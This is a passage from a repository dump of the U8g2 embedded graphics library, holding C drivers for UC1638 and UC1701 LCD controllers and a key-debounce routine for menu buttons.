nibble: y offset */\n  /* flipmode_x_offset = */ 0*16+6,\t/* lower nibble: x offset, upper nibble: y offset */\n  /* pixel_width = */ 192,\n  /* pixel_height = */ 96\n};\n\nstatic const uint8_t u8x8_d_uc1638_192x96_init_seq[] = {\n    \n  U8X8_START_TRANSFER(),             \t/* enable chip, delay is part of the transfer start */\n\n  U8X8_CA(0x0e1, 0x0e2),\t\t/* software reset */    /* UC1638*/\n  U8X8_DLY(5),\t\t\t\t\t/* 5 ms */\t\n\n  U8X8_C(0x024),            \t\t/*\t set temp comp*/\n  U8X8_C(0x0c2),            \t\t/*\tmirror y and mirror x */ \n  U8X8_C(0x0a2),            \t\t/*\tline rate */\n  U8X8_C(0x02d),            \t\t/*\tcharge pump */\n  U8X8_C(0x0ea),            \t\t/*\t set bias*/\n  U8X8_CA(0x081, 160),            \t/*\t set contrast */\n  //U8X8_C(0x0d6),            \t\t/*\tgray scale 2 */\n  U8X8_C(0x095),            \t\t/*\t set 1 bit per pixel, pattern 0*/\n  U8X8_C(0x086),            \t\t/*\t COM scan */\n  U8X8_CA(0x0f1, 159),            \t/*\t COM End*/\n  U8X8_C(0x089),            \t\t/*\t set auto increment, low bits are AC2 AC1 AC0 */  /* WAS 89 */\n  //U8X8_C(0x086),            \t\t/*\t scan function 0x86 or 0x87: no effect*/\n  \n  U8X8_END_TRANSFER(),             \t/* disable chip */\n  U8X8_END()             \t\t\t/* end of sequence */\n};\n\nuint8_t u8x8_d_uc1638_192x96(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr)\n{\n  /* call common procedure first and handle messages there */\n  if ( u8x8_d_uc1638_common(u8x8, msg, arg_int, arg_ptr) == 0 )\n  {\n    /* msg not handled, then try here */\n    switch(msg)\n    {\n      case U8X8_MSG_DISPLAY_SETUP_MEMORY:\n\tu8x8_d_helper_display_setup_memory(u8x8, &u8x8_uc1638_192x96_display_info);\n\tbreak;\n      case U8X8_MSG_DISPLAY_INIT:\n\tu8x8_d_helper_display_init(u8x8);\n          u8x8_cad_SendSequence(u8x8, u8x8_d_uc1638_192x96_init_seq);\n\tbreak;\n      default:\n\treturn 0;\t\t/* msg unknown */\n    }\n  }\n  return 1;\n}\n\n/*================================================*/\n/* issue https://github.com/olikraus/u8g2/issues/2075 */\n\nstatic const u8x8_display_info_t u8x8_uc1638_240x128_display_info =\n{\n  /* chip_enable_level = */ 0,\t/* low active CS for this display */\n  /* chip_disable_level = */ 1,\n  \n  /* post_chip_enable_wait_ns = */ 10,\t/* */\n  /* pre_chip_disable_wait_ns = */ 20,\t/* */\n  /* reset_pulse_width_ms = */ 5, \t/* */\n  /* post_reset_wait_ms = */ 150, \t\n  /* sda_setup_time_ns = */ 25,\t\t/* */\n  /* sck_pulse_width_ns = */ 65,\t/* */\n  /* sck_clock_hz = */ 2000000UL,\t/* since Arduino 1.6.0, the SPI bus speed in Hz. Should be  1000000000/sck_pulse_width_ns */\n  /* spi_mode = */ 0,\t\t/* active high, rising edge */\n  /* i2c_bus_clock_100kHz = */ 4,\n  /* data_setup_time_ns = */ 30,\t/*  */\n  /* write_pulse_width_ns = */ 35,\t/*  */\n  /* tile_width = */ 30,\t\t/* width of 30*8=240 pixel */\n  /* tile_height = */ 16,\n  /* default_x_offset = */ 0*16+0,\t/* lower nibble: x offset, upper nibble: y offset */\n  /* flipmode_x_offset = */ 4*16+0,\t/* lower nibble: x offset, upper nibble: y offset */\n  /* pixel_width = */ 240,\n  /* pixel_height = */ 128\n};\n\nstatic const uint8_t u8x8_d_uc1638_240x128_init_seq[] = {\n    \n  U8X8_START_TRANSFER(),             \t/* enable chip, delay is part of the transfer start */\n\n  U8X8_CA(0x0e1, 0x0e2),\t\t/* software reset */    /* UC1638*/\n  U8X8_DLY(5),\t\t\t\t\t/* 5 ms */\t\n\n  U8X8_C(0x024),            \t\t/*\t set temp comp*/\n  U8X8_C(0x0c2),            \t\t/*\tmirror y and mirror x */ \n  U8X8_C(0x0a2),            \t\t/*\tline rate */\n  //U8X8_C(0x02d),            \t\t/*\tcharge pump, issue 2075: not used */\n  U8X8_C(0x0eb),            \t\t/*\t set bias, issue 2075: 0x0eb*/\n  U8X8_CA(0x081, 120),            \t/*\t set contrast, issue 2075 */\n  //U8X8_C(0x0d6),            \t\t/*\tgray scale 2 */\n  U8X8_C(0x095),            \t\t/*\t set 1 bit per pixel, pattern 0*/\n  //U8X8_C(0x086),            \t\t/*\t COM scan, issue 2075: not used */\n  //U8X8_CA(0x0f1, 159),            \t/*\t COM End, issue 2075: not used */\n  U8X8_C(0x089),            \t\t/*\t set auto increment, low bits are AC2 AC1 AC0 */  /* WAS 89 */\n  //U8X8_C(0x086),            \t\t/*\t scan function 0x86 or 0x87: no effect*/\n  \n  U8X8_END_TRANSFER(),             \t/* disable chip */\n  U8X8_END()             \t\t\t/* end of sequence */\n};\n\nuint8_t u8x8_d_uc1638_240x128(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr)\n{\n  /* call common procedure first and handle messages there */\n  if ( u8x8_d_uc1638_common(u8x8, msg, arg_int, arg_ptr) == 0 )\n  {\n    /* msg not handled, then try here */\n    switch(msg)\n    {\n      case U8X8_MSG_DISPLAY_SETUP_MEMORY:\n\tu8x8_d_helper_display_setup_memory(u8x8, &u8x8_uc1638_240x128_display_info);\n\tbreak;\n      case U8X8_MSG_DISPLAY_INIT:\n\tu8x8_d_helper_display_init(u8x8);\n          u8x8_cad_SendSequence(u8x8, u8x8_d_uc1638_240x128_init_seq);\n\tbreak;\n      default:\n\treturn 0;\t\t/* msg unknown */\n    }\n  }\n  return 1;\n}\n\n"
  },
  {
    "path": "Bibliotecas/U8g2/src/clib/u8x8_d_uc1701_dogs102.c",
    "content": "/*\n\n  u8x8_d_uc1701_dogs102.c\n  \n  Universal 8bit Graphics Library (https://github.com/olikraus/u8g2/)\n\n  Copyright (c) 2016, olikraus@gmail.com\n  All rights reserved.\n\n  Redistribution and use in source and binary forms, with or without modification, \n  are permitted provided that the following conditions are met:\n\n  * Redistributions of source code must retain the above copyright notice, this list \n    of conditions and the following disclaimer.\n    \n  * Redistributions in binary form must reproduce the above copyright notice, this \n    list of conditions and the following disclaimer in the documentation and/or other \n    materials provided with the distribution.\n\n  THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND \n  CONTRIBUTORS \"AS IS\" AND ANY EXPRESS OR IMPLIED WARRANTIES, \n  INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF \n  MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE \n  DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR \n  CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, \n  SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT \n  NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; \n  LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER \n  CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, \n  STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) \n  ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF \n  ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.  \n\n  \n*/\n#include \"u8x8.h\"\n\n\n\n\nstatic const uint8_t u8x8_d_uc1701_dogs102_init_seq[] = {\n    \n  U8X8_START_TRANSFER(),             \t/* enable chip, delay is part of the transfer start */\n  \n  U8X8_C(0x0e2),            \t\t\t/* soft reset */\n  U8X8_C(0x0ae),\t\t                /* display off */\n  U8X8_C(0x040),\t\t                /* set display start line to 0 */\n  \n  U8X8_C(0x0a1),\t\t                /* ADC set to reverse */\n  U8X8_C(0x0c0),\t\t                /* common output mode */\n  // Flipmode\n  //U8X8_C(0x0a0),\t\t                /* ADC set to reverse */\n  //U8X8_C(0x0c8),\t\t                /* common output mode */\n  \n  U8X8_C(0x0a6),\t\t                /* display normal, bit val 0: LCD pixel off. */\n  U8X8_C(0x0a2),\t\t                /* LCD bias 1/9 */\n  U8X8_C(0x02f),\t\t                /* all power  control circuits on */\n  U8X8_C(0x027),\t\t                /* regulator, booster and follower */\n  U8X8_CA(0x081, 0x00e),\t\t/* set contrast, contrast value, EA default: 0x010, previous value for S102: 0x0e */\n  U8X8_C(0x0fa),\t\t                /* Set Temp compensation */ \n  U8X8_C(0x090),\t\t                /* 0.11 deg/c WP Off WC Off*/\n  \n  U8X8_C(0x0ae),\t\t                /* display off */\n  U8X8_C(0x0a5),\t\t                /* enter powersafe: all pixel on, issue 142 */\n  \n  U8X8_END_TRANSFER(),             \t/* disable chip */\n  U8X8_END()             \t\t\t/* end of sequence */\n};\n\nstatic const uint8_t u8x8_d_uc1701_dogs102_powersave0_seq[] = {\n  U8X8_START_TRANSFER(),             \t/* enable chip, delay is part of the transfer start */\n  U8X8_C(0x0a4),\t\t                /* all pixel off, issue 142 */\n  U8X8_C(0x0af),\t\t                /* display on */\n  U8X8_END_TRANSFER(),             \t/* disable chip */\n  U8X8_END()             \t\t\t/* end of sequence */\n};\n\nstatic const uint8_t u8x8_d_uc1701_dogs102_powersave1_seq[] = {\n  U8X8_START_TRANSFER(),             \t/* enable chip, delay is part of the transfer start */\n  U8X8_C(0x0ae),\t\t                /* display off */\n  U8X8_C(0x0a5),\t\t                /* enter powersafe: all pixel on, issue 142 */\n  U8X8_END_TRANSFER(),             \t/* disable chip */\n  U8X8_END()             \t\t\t/* end of sequence */\n};\n\nstatic const uint8_t u8x8_d_uc1701_dogs102_flip0_seq[] = {\n  U8X8_START_TRANSFER(),             \t/* enable chip, delay is part of the transfer start */\n  U8X8_C(0x0a1),\t\t\t\t/* segment remap a0/a1*/\n  U8X8_C(0x0c0),\t\t\t\t/* c0: scan dir normal, c8: reverse */\n  U8X8_END_TRANSFER(),             \t/* disable chip */\n  U8X8_END()             \t\t\t/* end of sequence */\n};\n\nstatic const uint8_t u8x8_d_uc1701_dogs102_flip1_seq[] = {\n  U8X8_START_TRANSFER(),             \t/* enable chip, delay is part of the transfer start */\n  U8X8_C(0x0a0),\t\t\t\t/* segment remap a0/a1*/\n  U8X8_C(0x0c8),\t\t\t\t/* c0: scan dir normal, c8: reverse */\n  U8X8_END_TRANSFER(),             \t/* disable chip */\n  U8X8_END()             \t\t\t/* end of sequence */\n};\n\n\nstatic const u8x8_display_info_t u8x8_uc1701_display_info =\n{\n  /* chip_enable_level = */ 0,\n  /* chip_disable_level = */ 1,\n  \n  /* post_chip_enable_wait_ns = */ 5,\n  /* pre_chip_disable_wait_ns = */ 5,\n  /* reset_pulse_width_ms = */ 1, \n  /* post_reset_wait_ms = */ 6, \n  /* sda_setup_time_ns = */ 12,\t\t\n  /* sck_pulse_width_ns = */ 75,\t/* half of cycle time (100ns according to datasheet), AVR: below 70: 8 MHz, >= 70 --> 4MHz clock */\n  /* sck_clock_hz = */ 4000000UL,\t/* since Arduino 1.6.0, the SPI bus speed in Hz. Should be  1000000000/sck_pulse_width_ns */\n  /* spi_mode = */ 0,\t\t/* active high, rising edge */\n  /* i2c_bus_clock_100kHz = */ 4,\n  /* data_setup_time_ns = */ 30,\n  /* write_pulse_width_ns = */ 40,\n  /* tile_width = */ 13,\t\t/* width of 13*8=104 pixel */\n  /* tile_height = */ 8,\n  /* default_x_offset = */ 0,\n  /* flipmode_x_offset = */ 30,\n  /* pixel_width = */ 102,\n  /* pixel_height = */ 64\n};\n\nuint8_t u8x8_d_uc1701_ea_dogs102(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr)\n{\n  uint8_t x, c;\n  uint8_t *ptr;\n  switch(msg)\n  {\n    case U8X8_MSG_DISPLAY_SETUP_MEMORY:\n      u8x8_d_helper_display_setup_memory(u8x8, &u8x8_uc1701_display_info);\n      break;\n    case U8X8_MSG_DISPLAY_INIT:\n      u8x8_d_helper_display_init(u8x8);\n      u8x8_cad_SendSequence(u8x8, u8x8_d_uc1701_dogs102_init_seq);\n      break;\n    case U8X8_MSG_DISPLAY_SET_POWER_SAVE:\n      if ( arg_int == 0 )\n\tu8x8_cad_SendSequence(u8x8, u8x8_d_uc1701_dogs102_powersave0_seq);\n      else\n\tu8x8_cad_SendSequence(u8x8, u8x8_d_uc1701_dogs102_powersave1_seq);\n      break;\n    case U8X8_MSG_DISPLAY_SET_FLIP_MODE:\n      if ( arg_int == 0 )\n      {\n\tu8x8_cad_SendSequence(u8x8, u8x8_d_uc1701_dogs102_flip0_seq);\n\tu8x8->x_offset = u8x8->display_info->default_x_offset;\n      }\n      else\n      {\n\tu8x8_cad_SendSequence(u8x8, u8x8_d_uc1701_dogs102_flip1_seq);\n\tu8x8->x_offset = u8x8->display_info->flipmode_x_offset;\n      }\t\n      break;\n#ifdef U8X8_WITH_SET_CONTRAST\n    case U8X8_MSG_DISPLAY_SET_CONTRAST:\n      u8x8_cad_StartTransfer(u8x8);\n      u8x8_cad_SendCmd(u8x8, 0x081 );\n      u8x8_cad_SendArg(u8x8, arg_int >> 2 );\t/* uc1701 has range from 0 to 63 */\n      u8x8_cad_EndTransfer(u8x8);\n      break;\n#endif\n    case U8X8_MSG_DISPLAY_DRAW_TILE:\n      u8x8_cad_StartTransfer(u8x8);\n    \n      x = ((u8x8_tile_t *)arg_ptr)->x_pos;\n      x *= 8;\n      x += u8x8->x_offset;\n      u8x8_cad_SendCmd(u8x8, 0x010 | (x>>4) );\n      u8x8_cad_SendCmd(u8x8, 0x000 | ((x&15)));\n      u8x8_cad_SendCmd(u8x8, 0x0b0 | (((u8x8_tile_t *)arg_ptr)->y_pos));\n    \n      c = ((u8x8_tile_t *)arg_ptr)->cnt;\n      c *= 8;\n      ptr = ((u8x8_tile_t *)arg_ptr)->tile_ptr;\n      /* \n\tThe following if condition checks the hardware limits of the uc1701 \n\tcontroller: It is not allowed to write beyond the display limits.\n\tThis is in fact an issue within flip mode.\n      */\n      if ( c + x > 132u )\n      {\n\tc = 132u;\n\tc -= x;\n      }\n      do\n      {\n\tu8x8_cad_SendData(u8x8, c, ptr);\t/* note: SendData can not handle more than 255 bytes */\n\targ_int--;\n      } while( arg_int > 0 );\n      \n      u8x8_cad_EndTransfer(u8x8);\n      break;\n    default:\n      return 0;\n  }\n  return 1;\n}\n\n\n"
  },
  {
    "path": "Bibliotecas/U8g2/src/clib/u8x8_d_uc1701_mini12864.c",
    "content": "/*\n\n  u8x8_d_uc1701_mini12864.c (dealextreme, displays from ebay MP3 players)\n  \n  Universal 8bit Graphics Library (https://github.com/olikraus/u8g2/)\n\n  Copyright (c) 2016, olikraus@gmail.com\n  All rights reserved.\n\n  Redistribution and use in source and binary forms, with or without modification, \n  are permitted provided that the following conditions are met:\n\n  * Redistributions of source code must retain the above copyright notice, this list \n    of conditions and the following disclaimer.\n    \n  * Redistributions in binary form must reproduce the above copyright notice, this \n    list of conditions and the following disclaimer in the documentation and/or other \n    materials provided with the distribution.\n\n  THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND \n  CONTRIBUTORS \"AS IS\" AND ANY EXPRESS OR IMPLIED WARRANTIES, \n  INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF \n  MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE \n  DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR \n  CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, \n  SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT \n  NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; \n  LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER \n  CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, \n  STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) \n  ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF \n  ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.  \n\n  \n*/\n#include \"u8x8.h\"\n\n\n\n\nstatic const uint8_t u8x8_d_uc1701_mini12864_init_seq[] = {\n    \n  U8X8_START_TRANSFER(),             \t/* enable chip, delay is part of the transfer start */\n  \n  U8X8_C(0x0e2),            \t\t\t/* soft reset */\n  U8X8_C(0x0ae),\t\t                /* display off */\n  U8X8_C(0x040),\t\t                /* set display start line to 0 */\n  \n  U8X8_C(0x0a0),\t\t                /* ADC set to reverse */\n  U8X8_C(0x0c8),\t\t                /* common output mode */\n  \n  U8X8_C(0x0a6),\t\t                /* display normal, bit val 0: LCD pixel off. */\n  U8X8_C(0x0a2),\t\t                /* LCD bias 1/9 */\n  U8X8_C(0x02f),\t\t                /* all power  control circuits on */\n  U8X8_C(0x0f8),\t\t/* set booster ratio to */\n  U8X8_C(0x000),\t\t/* 4x */\n  U8X8_C(0x023),\t\t/* set V0 voltage resistor ratio to large */\n  U8X8_C(0x081),\t\t/* set contrast */\n  U8X8_C(0x027),\t\t/* contrast value */\n  U8X8_C(0x0ac),\t\t/* indicator */\n  //  0x000,\t\t/* disable */\n  \n  U8X8_C(0x0ae),\t\t                /* display off */\n  U8X8_C(0x0a5),\t\t                /* enter powersafe: all pixel on, issue 142 */\n  \n  U8X8_END_TRANSFER(),             \t/* disable chip */\n  U8X8_END()             \t\t\t/* end of sequence */\n};\n\nstatic const uint8_t u8x8_d_uc1701_mini12864_powersave0_seq[] = {\n  U8X8_START_TRANSFER(),             \t/* enable chip, delay is part of the transfer start */\n  U8X8_C(0x0a4),\t\t                /* all pixel off, issue 142 */\n  U8X8_C(0x0af),\t\t                /* display on */\n  U8X8_END_TRANSFER(),             \t/* disable chip */\n  U8X8_END()             \t\t\t/* end of sequence */\n};\n\nstatic const uint8_t u8x8_d_uc1701_mini12864_powersave1_seq[] = {\n  U8X8_START_TRANSFER(),             \t/* enable chip, delay is part of the transfer start */\n  U8X8_C(0x0ae),\t\t                /* display off */\n  U8X8_C(0x0a5),\t\t                /* enter powersafe: all pixel on, issue 142 */\n  U8X8_END_TRANSFER(),             \t/* disable chip */\n  U8X8_END()             \t\t\t/* end of sequence */\n};\n\nstatic const uint8_t u8x8_d_uc1701_mini12864_flip0_seq[] = {\n  U8X8_START_TRANSFER(),             \t/* enable chip, delay is part of the transfer start */\n  U8X8_C(0x0a0),\t\t\t\t/* segment remap a0/a1*/\n  U8X8_C(0x0c8),\t\t\t\t/* c0: scan dir normal, c8: reverse */\n  U8X8_END_TRANSFER(),             \t/* disable chip */\n  U8X8_END()             \t\t\t/* end of sequence */\n};\n\nstatic const uint8_t u8x8_d_uc1701_mini12864_flip1_seq[] = {\n  U8X8_START_TRANSFER(),             \t/* enable chip, delay is part of the transfer start */\n  U8X8_C(0x0a1),\t\t\t\t/* segment remap a0/a1*/\n  U8X8_C(0x0c0),\t\t\t\t/* c0: scan dir normal, c8: reverse */\n  U8X8_END_TRANSFER(),             \t/* disable chip */\n  U8X8_END()             \t\t\t/* end of sequence */\n};\n\n\nstatic const u8x8_display_info_t u8x8_uc1701_display_info =\n{\n  /* chip_enable_level = */ 0,\n  /* chip_disable_level = */ 1,\n  \n  /* post_chip_enable_wait_ns = */ 5,\n  /* pre_chip_disable_wait_ns = */ 5,\n  /* reset_pulse_width_ms = */ 1, \n  /* post_reset_wait_ms = */ 6, \n  /* sda_setup_time_ns = */ 12,\t\t\n  /* sck_pulse_width_ns = */ 75,\t/* half of cycle time (100ns according to datasheet), AVR: below 70: 8 MHz, >= 70 --> 4MHz clock */\n  /* sck_clock_hz = */ 4000000UL,\t/* since Arduino 1.6.0, the SPI bus speed in Hz. Should be  1000000000/sck_pulse_width_ns */\n  /* spi_mode = */ 0,\t\t/* active high, rising edge */\n  /* i2c_bus_clock_100kHz = */ 4,\n  /* data_setup_time_ns = */ 30,\n  /* write_pulse_width_ns = */ 40,\n  /* tile_width = */ 16,\t\t/* width of 16*8=128 pixel */\n  /* tile_height = */ 8,\n  /* default_x_offset = */ 0,\n  /* flipmode_x_offset = */ 4,\n  /* pixel_width = */ 128,\n  /* pixel_height = */ 64\n};\n\nuint8_t u8x8_d_uc1701_mini12864(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr)\n{\n  uint8_t x, c;\n  uint8_t *ptr;\n  switch(msg)\n  {\n    case U8X8_MSG_DISPLAY_SETUP_MEMORY:\n      u8x8_d_helper_display_setup_memory(u8x8, &u8x8_uc1701_display_info);\n      break;\n    case U8X8_MSG_DISPLAY_INIT:\n      u8x8_d_helper_display_init(u8x8);\n      u8x8_cad_SendSequence(u8x8, u8x8_d_uc1701_mini12864_init_seq);\n      break;\n    case U8X8_MSG_DISPLAY_SET_POWER_SAVE:\n      if ( arg_int == 0 )\n\tu8x8_cad_SendSequence(u8x8, u8x8_d_uc1701_mini12864_powersave0_seq);\n      else\n\tu8x8_cad_SendSequence(u8x8, u8x8_d_uc1701_mini12864_powersave1_seq);\n      break;\n    case U8X8_MSG_DISPLAY_SET_FLIP_MODE:\n      if ( arg_int == 0 )\n      {\n\tu8x8_cad_SendSequence(u8x8, u8x8_d_uc1701_mini12864_flip0_seq);\n\tu8x8->x_offset = u8x8->display_info->default_x_offset;\n      }\n      else\n      {\n\tu8x8_cad_SendSequence(u8x8, u8x8_d_uc1701_mini12864_flip1_seq);\n\tu8x8->x_offset = u8x8->display_info->flipmode_x_offset;\n      }\t\n      break;\n#ifdef U8X8_WITH_SET_CONTRAST\n    case U8X8_MSG_DISPLAY_SET_CONTRAST:\n      u8x8_cad_StartTransfer(u8x8);\n      u8x8_cad_SendCmd(u8x8, 0x081 );\n      u8x8_cad_SendArg(u8x8, arg_int >> 2 );\t/* uc1701 has range from 0 to 63 */\n      u8x8_cad_EndTransfer(u8x8);\n      break;\n#endif\n    case U8X8_MSG_DISPLAY_DRAW_TILE:\n      u8x8_cad_StartTransfer(u8x8);\n    \n      x = ((u8x8_tile_t *)arg_ptr)->x_pos;\n      x *= 8;\n      x += u8x8->x_offset;\n      u8x8_cad_SendCmd(u8x8, 0x010 | (x>>4) );\n      u8x8_cad_SendCmd(u8x8, 0x000 | ((x&15)));\n      u8x8_cad_SendCmd(u8x8, 0x0b0 | (((u8x8_tile_t *)arg_ptr)->y_pos));\n    \n      c = ((u8x8_tile_t *)arg_ptr)->cnt;\n      c *= 8;\n      ptr = ((u8x8_tile_t *)arg_ptr)->tile_ptr;\n      /* \n\tThe following if condition checks the hardware limits of the uc1701 \n\tcontroller: It is not allowed to write beyond the display limits.\n\tThis is in fact an issue within flip mode.\n    \n\tbug: this check should be inside the while loop, see u8x8_d_pcd8544_84x48.c \n      */\n      if ( c + x > 132u )\n      {\n\tc = 132u;\n\tc -= x;\n      }\n      do\n      {\n\tu8x8_cad_SendData(u8x8, c, ptr);\t/* note: SendData can not handle more than 255 bytes */\n\targ_int--;\n      } while( arg_int > 0 );\n      \n      u8x8_cad_EndTransfer(u8x8);\n      break;\n    default:\n      return 0;\n  }\n  return 1;\n}\n\n\n"
  },
  {
    "path": "Bibliotecas/U8g2/src/clib/u8x8_debounce.c",
    "content": "/*\n\n  u8x8_debounce.c\n  \n  Key/button simple debounce algorithm (Addon for u8x8)\n  \n  Universal 8bit Graphics Library (https://github.com/olikraus/u8g2/)\n\n  Copyright (c) 2016, olikraus@gmail.com\n  All rights reserved.\n\n  Redistribution and use in source and binary forms, with or without modification, \n  are permitted provided that the following conditions are met:\n\n  * Redistributions of source code must retain the above copyright notice, this list \n    of conditions and the following disclaimer.\n    \n  * Redistributions in binary form must reproduce the above copyright notice, this \n    list of conditions and the following disclaimer in the documentation and/or other \n    materials provided with the distribution.\n\n  THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND \n  CONTRIBUTORS \"AS IS\" AND ANY EXPRESS OR IMPLIED WARRANTIES, \n  INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF \n  MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE \n  DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR \n  CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, \n  SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT \n  NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; \n  LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER \n  CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, \n  STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) \n  ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF \n  ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.  \n  \n*/\n\n#include \"u8x8.h\"\n\nstatic uint8_t u8x8_read_pin_state(u8x8_t *u8x8)\n{\n  uint8_t i;\n  uint8_t pin_state;\n  \n  pin_state = 255;\t/* be compatible with the setup of the default pin setup, which is 255 */\n  for( i = 0; i < U8X8_PIN_INPUT_CNT; i++ )\n  {\n    pin_state <<= 1;\n    \n    /* the callback function should put the return value into this variable */\n    u8x8->gpio_result = 1;\n    u8x8_gpio_call(u8x8, U8X8_MSG_GPIO(i+U8X8_PIN_OUTPUT_CNT), 0);\n    pin_state |= u8x8->gpio_result & 1;\n  }\n  \n  return pin_state;\n}\n\n/*\n  return 0 to U8X8_PIN_INPUT_CNT-1 if there is a difference\n  return U8X8_PIN_INPUT_CNT if there is no difference\n*/\nstatic uint8_t u8x8_find_first_diff(uint8_t a, uint8_t b)\n{\n  uint8_t mask;\n  uint8_t i;\n  mask = 1;\n  i = U8X8_PIN_INPUT_CNT;\n  do\n  {\n    i--;\n    if ( (a & mask) != (b & mask) )\n      return i;\n    mask <<= 1;\n  } while( i > 0 );\n  return U8X8_PIN_INPUT_CNT;\n}\n\n/*\n  State A:\n    u8x8->debounce_last_pin_state == current_state \n      --> State A\n    u8x8->debounce_last_pin_state != current_state \n      --> u8x8->debounce_last_pin_state = current_state \n      --> State B + cnt\n\n  State B + cnt\n    --> state--\n\n  State B\n    u8x8->debounce_last_pin_state == current_state \n      --> keypress detected\n      --> State C\n    u8x8->debounce_last_pin_state != current_state \n      --> State A\n\n  State C\n    u8x8->debounce_last_pin_state == current_state \n      --> State C\n    u8x8->debounce_last_pin_state != current_state \n      --> State A\n\n*/\n\n#ifdef __unix__xxxxxx_THIS_IS_DISABLED\n\n#include <stdio.h>\n#include <stdlib.h>\nuint8_t u8x8_GetMenuEvent(u8x8_t *u8x8)\n{\n    int c;\n    c = getc(stdin);\n    switch(c)\n    {\n        case 'n':\n            return  U8X8_MSG_GPIO_MENU_NEXT;\n        case 'p':\n            return  U8X8_MSG_GPIO_MENU_PREV;\n        case 's':\n            return  U8X8_MSG_GPIO_MENU_SELECT;\n        case 'h':\n            return  U8X8_MSG_GPIO_MENU_HOME;\n        case 'x':\n            exit(0);\n        default:\n            puts(\"press n, p, s, h or x\");\n            break;\n    }\n    return 0;\n}\n\n\n#else  /* __unix__ */\n\n\n#define U8X8_DEBOUNCE_WAIT 2\n/* do debounce and return a GPIO msg which indicates the event */\n/* returns 0, if there is no event */\n#if defined(__GNUC__) && !defined(__CYGWIN__)\n# pragma weak  u8x8_GetMenuEvent\n#endif\nuint8_t u8x8_GetMenuEvent(u8x8_t *u8x8)\n{\n  uint8_t pin_state;\n  uint8_t result_msg = 0;\t/* invalid message, no event */\n  \n  pin_state = u8x8_read_pin_state(u8x8);\n  \n  /* States A, B, C & D are encoded in the upper 4 bit*/\n  switch(u8x8->debounce_state)\n  {\n    case 0x00:\t/* State A, default state */\n      if ( u8x8->debounce_default_pin_state != pin_state )\n      {\n\t//u8x8->debounce_last_pin_state = pin_state;\n\tu8x8->debounce_state = 0x010 + U8X8_DEBOUNCE_WAIT;\n      }\n      break;\n    case 0x10:\t/* State B */\n      //if ( u8x8->debounce_last_pin_state != pin_state )\n      if ( u8x8->debounce_default_pin_state == pin_state )\n      {\n\tu8x8->debounce_state = 0x00;\t/* back to state A */\n      }\n      else\n      {\n\t/* keypress detected */\n\tu8x8->debounce_last_pin_state = pin_state;\n\t//result_msg = U8X8_MSG_GPIO_MENU_NEXT;\n\tu8x8->debounce_state = 0x020 + U8X8_DEBOUNCE_WAIT;\t/* got to state C */\t\n      }\n      break;\n      \n    case 0x20:\t/* State C */\n      if ( u8x8->debounce_last_pin_state != pin_state )\n      {\n\tu8x8->debounce_state = 0x00;\t/* back to state A */\n      }\n      else\n      {\n\tu8x8->debounce_state = 0x030;\t/* got to state D */\t\n      }\n      break;\n      \n    case 0x30:\t/* State D */\n      /* wait until key release */\n      if ( u8x8->debounce_default_pin_state == pin_state )\n      {\n\tu8x8->debounce_state = 0x00;\t/* back to state A */\n\tresult_msg = U8X8_MSG_GPIO(u8x8_find_first_diff(u8x8->debounce_default_pin_state, u8x8->debounce_last_pin_state)+U8X8_PIN_OUTPUT_CNT);\n      }\n      else\n      {\n\t//result_msg = U8X8_MSG_GPIO_MENU_NEXT;\n\t// maybe implement autorepeat here \n      }\n      break;\n    default:\n      u8x8->debounce_state--;\t/* count down, until there is a valid state */\n      break;\n  }\n  return result_msg;\n}\n\n#endif /* __unix__ */\n"
  },
  {
    "path": "Bibliotecas/U8g2/src/clib/u8x8_display.c",
